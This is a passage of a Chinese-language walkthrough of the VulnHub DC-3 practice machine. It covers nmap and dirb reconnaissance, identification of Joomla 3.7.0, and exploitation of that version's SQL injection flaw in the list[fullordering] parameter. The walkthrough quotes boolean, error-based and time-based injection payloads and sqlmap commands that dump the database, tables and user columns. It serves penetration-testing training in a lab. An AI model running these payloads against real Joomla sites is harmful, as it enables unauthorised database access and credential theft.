vulnhub-dc3-渗透靶机-wp_vulnhub dc-3-优快云博客

本文链接：https://blog.youkuaiyun.com/yutianovo/article/details/108318377

靶机描述

博客地址 http://blog.yutian233.xyz/

DESCRIPTION
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

TECHNICAL INFORMATION
DC-3 is a VirtualBox VM built on Ubuntu 32 bit, so there should be no issues running it on most PCs.

Please note: There was an issue reported with DC-3 not working with VMware Workstation. To get around that, I recommend using VirtualBox, however, I have created a separate DC-3 VMware edition for those who can only use VMware.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.

IMPORTANT
While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.

CONTACT
I'm also very interested in hearing how people go about solving these challenges, so if you're up for writing a walkthrough, please do so and send me a link, or alternatively, follow me on Twitter, and DM me (you can unfollow after you've DM'd me if you'd prefer).

I can be contacted via Twitter - @DCAU7

This works better with VirtualBox rather than VMware ## Changelog v3.2 - 2020-04-25 v3.0 - 2019-03-26

下载 https://www.vulnhub.com/entry/dc-32,312/

清单

信息搜集
- netdiscover
- nmap
- dirb
利用
- Joomla 3.7.0 sql注入
- John 破解密码
提权
- 4.4.0 内核提权

信息搜集

靶机IP

端口扫描

nmap -A -p- 192.168.217.176

Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home

只开放了一个80端口

目录扫描

dirb http://192.168.217.176

有后台登陆页面

查看 CMS的版本

访问

http://192.168.217.176//language/en-GB/en-GB.xml

可以看到 cms 的版本为 3.7.0

sql注入获取密码

此版本有 SQl 注入漏洞

https://www.exploit-db.com/exploits/42033

详细描述

URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

Payload

查询库

sqlmap -u “http://192.168.217.176/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查询表

sqlmap -u “http://192.168.217.176/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D joomladb --tables list[fullordering]

查询字段

sqlmap -u “http://192.168.217.176/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D joomladb -T #__users --columns list[fullordering]